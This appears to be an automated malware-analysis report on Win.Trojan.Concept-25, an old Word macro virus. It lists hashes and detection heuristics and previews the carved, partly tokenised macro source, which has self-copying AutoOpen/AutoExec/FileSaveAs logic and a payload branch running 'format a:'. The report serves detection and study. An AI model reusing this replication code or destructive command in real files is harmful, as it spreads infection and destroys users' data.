Win.Trojan.Concept-25 — Office (OLE) malware analysis

Static analysis result for SHA-256 2a7465933888522f…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2012-06-14
MD5: bc7061282c7a55615d20fa913e20d661 SHA-1: 76e6b527f2d8db7131f85dd88d9ed3f54aee25da SHA-256: 2a7465933888522fba42f3314c4c1c86667c7966af3307cfd177e5d18564a75c
102 Risk Score

Malware Insights

Win.Trojan.Concept-25 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers and is explicitly detected by ClamAV as Win.Trojan.Concept-25. The document body contains references to 'RSN MACRO VIRUS Goat file' and includes author information and a creation date from 1997, indicating it is an old, known macro virus. The presence of VBA macro code, indicated by the 'OLE_LEGACY_WORDBASIC_MACRO_VIRUS' heuristic, suggests the macro is designed to execute malicious actions when the document is opened.

Heuristics 3

  • ClamAV: Win.Trojan.Concept-25 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Concept-25
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1363 bytes
SHA-256: 4cfb36d04684d7322bc040228505f1332070d0890b956effcae89a65ce7e9e7b
Preview script
First 1,000 lines of the extracted script
, 29807 29807
MAIN
, - * Abort
REM Pick a number 1 to 6
ByChanceTheNumber = @cmd8002 @cmd800e 6 = 1
ByChanceTheNumber = 1
msgA$ = "Microsloth - Who do you want to own today?"
msgB$ = "Thanks for using Microsloth Warp for Windblowz!"
@cmd802b msgB$ , msgA$ , 64
ByChanceTheNumber = 2
I = 1
I
ByChanceTheNumber = 3
@cmd80d6
I = 1 20
@cmd012d
I
@cmd80d6 0
ByChanceTheNumber = 4
I = 2 @cmd8026
@cmd0050 = @cmd8025 I
I
ByChanceTheNumber = 5
@cmd80ab "*.*"
ByChanceTheNumber = 6
@cmd802d "command.com /c echo y | format a: /q /v:Microsloth!"
MAIN
dlg @cmd0054
, - * iCancel
dlg
dlg = 0
dlg
dlg = 1
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":MSlothAE"
@cmd80c2 "Global:AutoExec" , sTMacro$
sTMacro$ = sMe$ = ":MSlothSA"
@cmd80c2 "Global:FileSaveAs" , sTMacro$
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:MSlothAO" , sTMacro$
@cmd0054 dlg
* Done
= 25625 Err 102
@cmd0054 dlg
MAIN
, - * Abort
iMacroCount = @cmd80b7 0 , 0
REM see if MicroSloth is already installed
i = 1 iMacroCount
@cmd80b8 i , 0 , 0 = "MSlothAO"
bInstalled = 1
@cmd80b8 i , 0 , 0 = "FileSaveAs"
bTooMuchTrouble = 1
@cmd80b8 i , 0 , 0 = "AutoExec"
bTooMuchTrouble = 1
i
bInstalled bTooMuchTrouble
sMacro$ = @cmd8025 = ":MSlothAE"
@cmd80c2 sMacro$ , "Global:AutoExec"
sMacro$ = @cmd8025 = ":MSlothSA"
@cmd80c2 sMacro$ , "Global:FileSaveAs"
sMacro$ = @cmd8025 = ":AutoOpen"
@cmd80c2 sMacro$ , "Global:MSlothAO"

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